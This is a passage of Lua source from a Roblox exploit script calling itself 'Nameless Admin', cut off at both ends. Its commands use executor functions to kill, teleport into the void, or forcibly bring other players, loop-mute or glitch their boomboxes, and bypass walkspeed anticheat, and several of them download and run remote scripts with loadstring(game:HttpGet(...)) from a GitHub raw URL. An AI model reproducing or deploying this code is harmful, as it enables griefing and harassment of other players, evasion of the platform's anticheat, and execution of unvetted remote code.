game.Players.LocalPlayer:GetMouse() AirWPart.Size = Vector3.new(7, 2, 3) AirWPart.CFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame + Vector3.new(0, -4, 0) AirWPart.Transparency = 1 AirWPart.Anchored = true AirWPart.Name = "Airwalk" for i = 1, math.huge do AirWPart.CFrame = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame + Vector3.new(0, -4, 0) wait (.1) end end local function SendNotification(Title, Text, Label, Length) game.StarterGui:SetCore('SendNotification', {Title = Title; Text = Text; Icon = Label; Duration = Length }) end AirWalk() end) cmd.add({"cbring", "clientbring"}, {"clientbring (cbring)", "Brings the player on your client"}, function(...) Username = (...) target = getPlr(Username) bringc[target] = game:GetService("RunService").RenderStepped:Connect(function() if target.Character and target.Character:FindFirstChild("HumanoidRootPart") then target.Character.HumanoidRootPart.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame + game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 3 end end) end) cmd.add({"uncbring", "unclientbring"}, {"unclientbring (uncbring)", "Disable Client bring command"}, function() bringc[target]:Disconnect() end) cmd.add({"mute", "muteboombox"}, {"mute (muteboombox)", "Mutes the players boombox"}, function(...) Username = (...) if game:GetService("SoundService").RespectFilteringEnabled == true then wait(); Notify({ Description = "Boombox muted. Status: Client Sided"; Title = "Nameless Admin"; Duration = 5; }); else wait(); Notify({ Description = "Boombox muted. Status: FE"; Title = "Nameless Admin"; Duration = 5; }); if Username == "all" or Username == "others" then local players = game:GetService("Players"):GetPlayers() for _, player in ipairs(players) do for _, object in ipairs(player.Character:GetDescendants()) do if object:IsA("Sound") and object.Playing then object:Stop() end end local backpack = player:FindFirstChildOfClass("Backpack") if backpack then for _, object in ipairs(backpack:GetDescendants()) do if object:IsA("Sound") and object.Playing then object:Stop() end end end end else local players = getPlr(Username) if players ~= nil then for i, x in next, players.Character:GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end for i, x in next, players:FindFirstChildOfClass("Backpack"):GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end end end end end) cmd.add({"antivoid"}, {"antivoid", "Anti void."}, function() getgenv().AntiVoid = true -- // toggle it on and off -- // Services local Players = game:GetService("Players") -- // Vars local LocalPlayer = Players.LocalPlayer -- // Check if anyone has the same handle as you local function toolMatch(Handle) local allPlayers = Players:GetPlayers() for i = 1, #allPlayers do -- // Vars local Player = allPlayers[i] if (Player == LocalPlayer) then continue end -- // ignore local player -- // Vars local Character = Player.Character local RightArm = Character:WaitForChild("Right Arm") local RightGrip = RightArm:FindFirstChild("RightGrip") -- // Check if they share the same Part1 Handle of the Grip if (RightGrip and RightGrip.Part1 == Handle) then return Player end end end -- // Manager local function onCharacter(Character) local RightArm = Character:WaitForChild("Right Arm") -- // See when you equip something RightArm.ChildAdded:Connect(function(child) if (child:IsA("Weld") and child.Name == "RightGrip" and getgenv().AntiVoid) then -- // Vars local ConnectedHandle = child.Part1 -- // Check if someone else has something equipped too with the same handle as you local matched = toolMatch(ConnectedHandle) -- // Destroy the tool, if someone is voiding you if (matched) then ConnectedHandle.Parent:Destroy() print(matched, "just tried to void you lol!") end end end) end -- // Initialise the script onCharacter(LocalPlayer.Character) LocalPlayer.CharacterAdded:Connect(onCharacter) end) cmd.add({"walkspeedbypass", "wsbypass"}, {"walkspeedbypass (wsbypass)", "Bypass client sided walkspeed anticheats"}, function() lp = game.Players.LocalPlayer UIS = game:GetService("UserInputService") repeat wait(0.1) until lp.Character:FindFirstChild('HumanoidRootPart') local speed = CFrame.new(0,0,0) local lastpos = lp.Character.HumanoidRootPart.Position while true do if lp.Character and lp.Character:FindFirstChild("HumanoidRootPart") then speed = lp.Character.HumanoidRootPart.Position - lastpos if speed.Y < 0 then speed = speed - Vector3.new(0, speed.Y, 0) end lp.Character.HumanoidRootPart.CFrame = lp.Character.HumanoidRootPart.CFrame + (speed/2) lastpos = lp.Character.HumanoidRootPart.Position end wait(0.1) end end) cmd.add({"loopmute", "loopmuteboombox"}, {"loopmute (loopmuteboombox)", "Loop mutes the players boombox"}, function(...) Username = (...) if Username == "all" or Username == "others" then Loopmute = true repeat wait() local players = game:GetService("Players"):GetPlayers() for _, player in ipairs(players) do for _, object in ipairs(player.Character:GetDescendants()) do if object:IsA("Sound") and object.Playing then object:Stop() end end local backpack = player:FindFirstChildOfClass("Backpack") if backpack then for _, object in ipairs(backpack:GetDescendants()) do if object:IsA("Sound") and object.Playing then object:Stop() end end end end until Loopmute == false else Loopmute = true local players = getPlr(Username) repeat wait() if players ~= nil then for i, x in next, players.Character:GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end for i, x in next, players:FindFirstChildOfClass("Backpack"):GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end end until Loopmute == false if game:GetService("SoundService").RespectFilteringEnabled == true then wait(); Notify({ Description = "Boombox glitched. Status: Client Sided"; Title = "Nameless Admin"; Duration = 5; }); else if game:GetService("SoundService").RespectFilteringEnabled == false then wait(); Notify({ Description = "Boombox glitched. Status: FE"; Title = "Nameless Admin"; Duration = 5; }); end end end end) cmd.add({"unloopmute", "unloopmuteboombox"}, {"unloopmute (unloopmuteboombox)", "Unloop mutes the players boombox"}, function(...) Loopmute = false wait() wait(); Notify({ Description = "Unloopmuted everyone"; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"glitch", "glitchboombox"}, {"glitch (glitchboombox)", "Glitches the players boombox"}, function(...) Username = (...) Loopglitch = true local players = getPlr(Username) if players ~= nil then for i, x in next, players.Character:GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = true end end for i, x in next, players:FindFirstChildOfClass("Backpack"):GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = true end end end repeat wait() for i, x in next, players:FindFirstChildOfClass("Backpack"):GetDescendants() do if x:IsA("Sound") and x.Playing == false then x.Playing = true end end for i, x in next, players.Character:GetDescendants() do if x:IsA("Sound") and x.Playing == false then x.Playing = true end end wait(0.2) for i, x in next, players:FindFirstChildOfClass("Backpack"):GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end for i, x in next, players.Character:GetDescendants() do if x:IsA("Sound") and x.Playing == true then x.Playing = false end end wait(0.2) until Loopglitch == false if game:GetService("SoundService").RespectFilteringEnabled == true then wait(); Notify({ Description = "Boombox glitched. Status: Client Sided"; Title = "Nameless Admin"; Duration = 5; }); else if game:GetService("SoundService").RespectFilteringEnabled == false then wait(); Notify({ Description = "Boombox glitched. Status: FE"; Title = "Nameless Admin"; Duration = 5; }); end end end) cmd.add({"unglitch", "unglitchboombox"}, {"unglitch (unglitchboombox)", "Unglitches the players boombox"}, function(...) Loopglitch = false wait() if game:GetService("SoundService").RespectFilteringEnabled == true then wait(); Notify({ Description = "Boombox unglitched. Status: Client Sided"; Title = "Nameless Admin"; Duration = 5; }); else if game:GetService("SoundService").RespectFilteringEnabled == false then wait(); Notify({ Description = "Boombox unglitched. Status: FE"; Title = "Nameless Admin"; Duration = 5; }); end end end) cmd.add({"unlooplbring", "unlooplegbring"}, {"unlooplbring (unlooplegbring)", "Stop the looplbring command"}, function() loopbring = false end) cmd.add({"unlooplvoid", "unlooplegvoid"}, {"unlooplvoid (unlooplegvoid)", "Stop the looplvoid command"}, function() loopvoid = false end) cmd.add({"unlooplkill", "unlooplegkill"}, {"unlooplkill (unlooplegkill)", "Stop the looplkill command"}, function() loopkill = false end) cmd.add({"looplbring", "looplegbring"}, {"looplbring (looplegbring)", "Leg resize loop bring"}, function(...) loopbring = true Target = (...) repeat wait(1) if Target == "all" or Target == "others" then loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Bring%20All'))() else loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CF until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CF wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(4) CF = Player.Character.HumanoidRootPart.CFrame player.CharacterAdded:wait(1):waitForChild("HumanoidRootPart").CFrame = CF end wait(0.8) respawn() until loopbring == false end) cmd.add({"getmass"}, {"getmass", "Get your mass"}, function(...) local mass = game.Players.LocalPlayer.Character.HumanoidRootPart.AssemblyMass wait(); Notify({ Description = "Your mass is " .. mass; Title = "Nameless Admin"; Duration = 5; }); end) cmd.add({"dvoid", "dvoid"}, {"dvoid (dvoid)", "Delay void"}, function(...) Target = (...) Players = game:GetService("Players") local c = game.Players.LocalPlayer.Character game.Players.LocalPlayer.Character = nil game.Players.LocalPlayer.Character = c wait(game.Players.RespawnTime - 0.5) local TPlayer = getPlr(Target) Player.Character.HumanoidRootPart.CFrame = CFrame.new(0,-349,0) TRootPart = TPlayer.Character.HumanoidRootPart local Character = Player.Character local PlayerGui = Player:WaitForChild("PlayerGui") local Backpack = Player:WaitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() end l.Parent = game.Players.LocalPlayer.Character l.Name = "Humanoid" game.Players.LocalPlayer.Character["1"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character game.Players.LocalPlayer.Character.Animate.Disabled = true wait() game.Players.LocalPlayer.Character.Animate.Disabled = false game.Players.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None" end) cmd.add({"dbring", "delaybring"}, {"delaybring (dbring)", "Delay bring"}, function(...) Target = (...) local c = game.Players.LocalPlayer.Character game.Players.LocalPlayer.Character = nil game.Players.LocalPlayer.Character = c wait(game.Players.RespawnTime - 0.45) game.Players.LocalPlayer.Character.Humanoid.Name = 1 local l = game.Players.LocalPlayer.Character["1"]:Clone() l.Parent = game.Players.LocalPlayer.Character l.Name = "Humanoid" game.Players.LocalPlayer.Character["1"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = game.Players.LocalPlayer.Character game.Players.LocalPlayer.Character.Animate.Disabled = true wait() game.Players.LocalPlayer.Character.Animate.Disabled = false game.Players.LocalPlayer.Character.Humanoid.DisplayDistanceType = "None" local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CF until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CF wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end end) cmd.add({"looplkill", "looplegkill"}, {"looplkill (looplegkill)", "Leg resize loop kill"}, function(...) loopkill = true Target = (...) repeat wait(1) if Target == "all" or Target == "others" then loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Kill%20All'))() else loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() local function Kill() if not getPlr(Target) then end repeat game:FindService("RunService").Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid") and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 local Character local Humanoid local RootPart local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local TRootPart if Player.Character and Player.Character and Player.Character.Name == Player.Name then Character = Player.Character else end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") else end if Humanoid and Humanoid.RootPart then RootPart = Humanoid.RootPart else end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) else end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle else end --Target if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = TCharacter:FindFirstChildOfClass("Humanoid") else return Message("Error","> Missing Target Humanoid") end if THumanoid.RootPart then TRootPart = THumanoid.RootPart else return Message("Error","> Missing Target RootPart") end if THumanoid.Sit then return Message("Error","> Target is seated") end local OldCFrame = RootPart.CFrame Humanoid:Destroy() local NewHumanoid = Humanoid:Clone() NewHumanoid.Parent = Character NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace local Timer = os.time() repeat if (TRootPart.CFrame.p - RootPart.CFrame.p).Magnitude < 500 then Tool.Grip = CFrame.new() Tool.Grip = Handle.CFrame:ToObjectSpace(TRootPart.CFrame):Inverse() end firetouchinterest(Handle,TRootPart,0) firetouchinterest(Handle,TRootPart,1) game:FindService("RunService").Heartbeat:wait() until Tool.Parent ~= Character or not TPlayer or not TRootPart or THumanoid.Health <= 0 or os.time() > Timer + .20 Player.Character = nil NewHumanoid.Health = 0 player.CharacterAdded:wait(1) repeat game:FindService("RunService").Heartbeat:wait() until Player.Character:FindFirstChild("HumanoidRootPart") Player.Character.HumanoidRootPart.CFrame = OldCFrame end if not LoopKill then Kill() else while LoopKill do Kill() end end end until loopkill == false end) cmd.add({"looplvoid", "looplegvoid"}, {"looplvoid (looplegvoid)", "Leg resize loop void"}, function(...) loopvoid = true Target = (...) repeat wait(1) Player.Character.HumanoidRootPart.CFrame = CFrame.new(0,-349,0) loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame XC = TCharacter.HumanoidRootPart.CFrame.X ZC = TCharacter.HumanoidRootPart.CFrame.Z if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(0.8) respawn() until loopvoid == false end) cmd.add({"lvoid", "legvoid"}, {"lvoid (legvoid)", "Leg resize void"}, function(...) Target = (...) Player.Character.HumanoidRootPart.CFrame = CFrame.new(0,-349,0) loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame XC = TCharacter.HumanoidRootPart.CFrame.X ZC = TCharacter.HumanoidRootPart.CFrame.Z if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(0.6) respawn() end) cmd.add({"lbring", "legbring"}, {"lbring (legbring)", "Leg resize bring"}, function(...) Target = (...) if Target == "all" or Target == "others" then loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Bring%20All'))() else loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = true local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CF until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CF wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(0.9) respawn() end end) cmd.add({"lkill", "legkill"}, {"lkill (legkill)", "Leg resize kill"}, function(...) Target = (...) if Target == "all" or Target == "others" then loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Kill%20All'))() else loadstring(game:HttpGet('https://raw.githubusercontent.com/DigitalityScripts/roblox-scripts/main/Leg%20Resize'))() local function Kill() if not getPlr(Target) then end repeat game:FindService("RunService").Heartbeat:wait() until getPlr(Target).Character and getPlr(Target).Character:FindFirstChildOfClass("Humanoid") and getPlr(Target).Character:FindFirstChildOfClass("Humanoid").Health > 0 local Character local Humanoid local RootPart local Tool local Handle local TPlayer = getPlr(Target) local TCharacter = TPlayer.Character local THumanoid local TRootPart if Player.Character and Player.Character and Player.Character.Name == Player.Name then Character = Player.Character else end if Character:FindFirstChildOfClass("Humanoid") then Humanoid = Character:FindFirstChildOfClass("Humanoid") else end if Humanoid and Humanoid.RootPart then RootPart = Humanoid.RootPart else end if Character:FindFirstChildOfClass("Tool") then Tool = Character:FindFirstChildOfClass("Tool") elseif Player.Backpack:FindFirstChildOfClass("Tool") and Humanoid then Tool = Player.Backpack:FindFirstChildOfClass("Tool") Humanoid:EquipTool(Player.Backpack:FindFirstChildOfClass("Tool")) else end if Tool and Tool:FindFirstChild("Handle") then Handle = Tool.Handle else end --Target if TCharacter:FindFirstChildOfClass("Humanoid") then THumanoid = TCharacter:FindFirstChildOfClass("Humanoid") else return Message("Error","> Missing Target Humanoid") end if THumanoid.RootPart then TRootPart = THumanoid.RootPart else return Message("Error","> Missing Target RootPart") end if THumanoid.Sit then return Message("Error","> Target is seated") end local OldCFrame = RootPart.CFrame Humanoid:Destroy() local NewHumanoid = Humanoid:Clone() NewHumanoid.Parent = Character NewHumanoid:UnequipTools() NewHumanoid:EquipTool(Tool) Tool.Parent = workspace local Timer = os.time() repeat if (TRootPart.CFrame.p - RootPart.CFrame.p).Magnitude < 500 then Tool.Grip = CFrame.new() Tool.Grip = Handle.CFrame:ToObjectSpace(TRootPart.CFrame):Inverse() end firetouchinterest(Handle,TRootPart,0) firetouchinterest(Handle,TRootPart,1) game:FindService("RunService").Heartbeat:wait() until Tool.Parent ~= Character or not TPlayer or not TRootPart or THumanoid.Health <= 0 or os.time() > Timer + .20 Player.Character = nil NewHumanoid.Health = 0 player.CharacterAdded:wait(1) repeat game:FindService("RunService").Heartbeat:wait() until Player.Character:FindFirstChild("HumanoidRootPart") Player.Character.HumanoidRootPart.CFrame = OldCFrame end if not LoopKill then Kill() else while LoopKill do Kill() end end end end) cmd.add({"loopvoid", "loopv"}, {"loopvoid (loopv)", "Voids the player"}, function(...) Target = (...) Loopvoid = true repeat wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(0,-349,0) local Character = Player.Character local PlayerGui = Player:waitForChild("PlayerGui") local Backpack = Player:waitForChild("Backpack") local Humanoid = Character and Character:FindFirstChildWhichIsA("Humanoid") or false local RootPart = Character and Humanoid and Humanoid.RootPart or false local RightArm = Character and Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not Humanoid or not RootPart or not RightArm then return end Humanoid:UnequipTools() local MainTool = Backpack:FindFirstChildWhichIsA("Tool") or false if not MainTool or not MainTool:FindFirstChild("Handle") then return end local TPlayer = getPlr(Target) local TCharacter = TPlayer and TPlayer.Character local THumanoid = TCharacter and TCharacter:FindFirstChildWhichIsA("Humanoid") or false local TRootPart = TCharacter and THumanoid and THumanoid.RootPart or false if not THumanoid or not TRootPart then return end Character.Humanoid.Name = "DAttach" local l = Character["DAttach"]:Clone() l.Parent = Character l.Name = "Humanoid" wait() Character["DAttach"]:Destroy() game.Workspace.CurrentCamera.CameraSubject = Character Character.Animate.Disabled = true wait() Character.Animate.Disabled = false Character.Humanoid:EquipTool(MainTool) wait() CF = Player.Character.PrimaryPart.CFrame XC = TCharacter.HumanoidRootPart.CFrame.X ZC = TCharacter.HumanoidRootPart.CFrame.Z if firetouchinterest then local flag = false task.defer(function() MainTool.Handle.AncestryChanged:wait() flag = true end) repeat firetouchinterest(MainTool.Handle, TRootPart, 0) firetouchinterest(MainTool.Handle, TRootPart, 1) wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) until flag else Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = TCharacter.HumanoidRootPart.CFrame wait() Player.Character.HumanoidRootPart.CFrame = CFrame.new(XC,-99,ZC) wait() end wait(.3) Player.Character:SetPrimaryPartCFrame(CF) if Humanoid.RigType == Enum.HumanoidRigType.R6 then Character["Right Arm"].RightGrip:Destroy() else Character["RightHand"].RightGrip:Destroy() Character["RightHand"].RightGripAttachment:Destroy() end wait(1) respawn() until Loopvoid == false end) cmd.add({"loopbring"}, {"loopbring ", "Loopbrings a player"}, function(...) local Username = (...) if Username == "all" or Username == "others" then Loopbring = true repeat wait() wait(0.3) 